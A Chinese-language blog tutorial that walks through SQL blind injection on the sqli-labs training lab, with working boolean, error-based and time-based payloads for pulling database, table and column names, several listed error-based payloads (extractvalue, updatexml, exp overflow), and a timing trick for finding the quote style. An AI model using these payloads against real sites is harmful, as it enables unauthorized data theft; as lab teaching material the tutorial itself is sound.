通过上一篇文章可以通关Less1-4,到了第5关就不一样了,从这里开始要用到SQL盲注。

什么是SQL盲注

我的理解是,页面不给出任何错误信息的都属于盲注

盲注的分类

  1. 基于布尔的盲注
    通过返回的页面是否正确来判断,如果后台做了限制,此方法无效
    例如Less-9,错误也会显示You are in...........
  2. 基于报错的盲注
    构造一个能回显错误信息的SQL语句,如果后台做了限制,此方法无效
    例如Less-8以及后面的几关,错误信息被注释//print_r(mysql_error());
  3. 基于时间的盲注
    根据错误和正确返回的页面的时间不同来判断,虽然是最麻烦的方法,但是不会受到上面两种的限制

基于布尔的盲注

关键函数:

  • length(str) 返回字符串str的长度
    具体用法:length(database())=1
  • left(str,n) 截取字符串str的前n位
    具体用法:left(database(),1)>'a'
  • ascii(char) 将字符char用ascii码表示
  • substr(str,a,b) 字符串str从位置a截取b的长度
    具体用法:ascii(substr(database(),1,1))>98 //判断数据库名的第一位ascii值是否大于98

还有几个其他的我也没用过,以后再补上
以Less-5为例,演示基于布尔盲注的流程:

  1. 使用length(database())判断当前数据库名的长度
    http://192.168.155.128/sqli-l...' and length(database())>5%23,页面显示正确。改为http://192.168.155.128/sqli-l...' and length(database())>10%23,页面显示错误,说明数据库名长度在5-10之间,接下来就是逐个逐个试,最后得到长度为8。
  2. 使用left(database(),1)逐个猜解出数据库名
    http://192.168.155.128/sqli-l...' and left(database(),1)>'a'%23,页面显示正确。改为http://192.168.155.128/sqli-l...' and left(database(),1)>'s'%23,页面显示错误,说明在字母a-s之间,用二分法或者其他方法逐个试,最后得到数据库名的第一位是s。再来猜解第二位http://192.168.155.128/sqli-l...' and left(database(),2)>'sa'%23。重复第一位的做法就行。当然这里也可以配合ascii函数使用,比如:http://192.168.155.128/sqli-l...' and ascii(left(database(),1))>98%23。由第一步知道是8位,最后得到数据库名security。(这一步也可以用substr函数做到)
  3. 使用substr函数猜解出表名
    先用legth函数判断出第一个表名的长度http://192.168.155.128/sqli-l...' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>6%23,显示错误,改为>5显示正确,说明第一个表名的长度为6。然后使用substr函数来逐个猜解出表名,http://192.168.155.128/sqli-l...' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)>'o'%23显示错误,改为>m显示正确,说明第一位是m,再修改substr(str,1,1)为substr(str,2,1)猜第二位,依次猜出第一个表名。接下来再猜第二个表名,把limit 0,1改为limit 1,1即可,重复操作。当然这一步也可以使用ascii函数,要灵活运用。
  4. 通过表名猜列
    方法同上,不赘述
  5. 逐个猜出列中的数据

基于报错的盲注

上面的基于布尔的盲注确实挺绕,基于报错的盲注可以通过错误显示直接爆出想要信息

基于报错的盲注语法有很多,这里随便贴几个吧

  • select exp(~(select * FROM(SELECT USER())a))
    //double 数值类型超出范围
    //Exp()为以e 为底的对数函数;版本在5.5.5 及其以上
    可以参考exp报错文章
  • select !(select * from (select user())x) -(ps:这是减号) ~0
    //bigint 超出范围;~0 是对0 逐位取反,很大的版本在5.5.5 及其以上
    可以参考文章bigint溢出文章
  • extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对xml 数据进行查询和修改的xpath 函数,xpath 语法错误
  • updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对xml 数据进行查询和修改的xpath 函数,xpath 语法错误
  • select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性,此处重复了version,所以报错。

基于时间的盲注

跟布尔盲注原理类似,这里就不演示了

  • If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行sleep
  • UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
    //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu 资源。推荐使用sleep()函数进行注入。

自己发现的一个关于时间盲注的小技巧,如果有错误,欢迎批评指正。
实际运用sql注入时,在没有任何错误显示的情况下,特别是在输入错误也显示正确页面时,要如何判断是'还是"还是')等等闭合格式?这里可以使用?id=1' and if(length(database())>100,0,sleep(5))%23故意构造一条假的语句,如果延时5秒,说明就是'闭合,如果没有延时,则把'换成其他的(比如"'))")等等)挨个测试。


墨玉麒麟
0 声望1 粉丝

引用和评论

0 条评论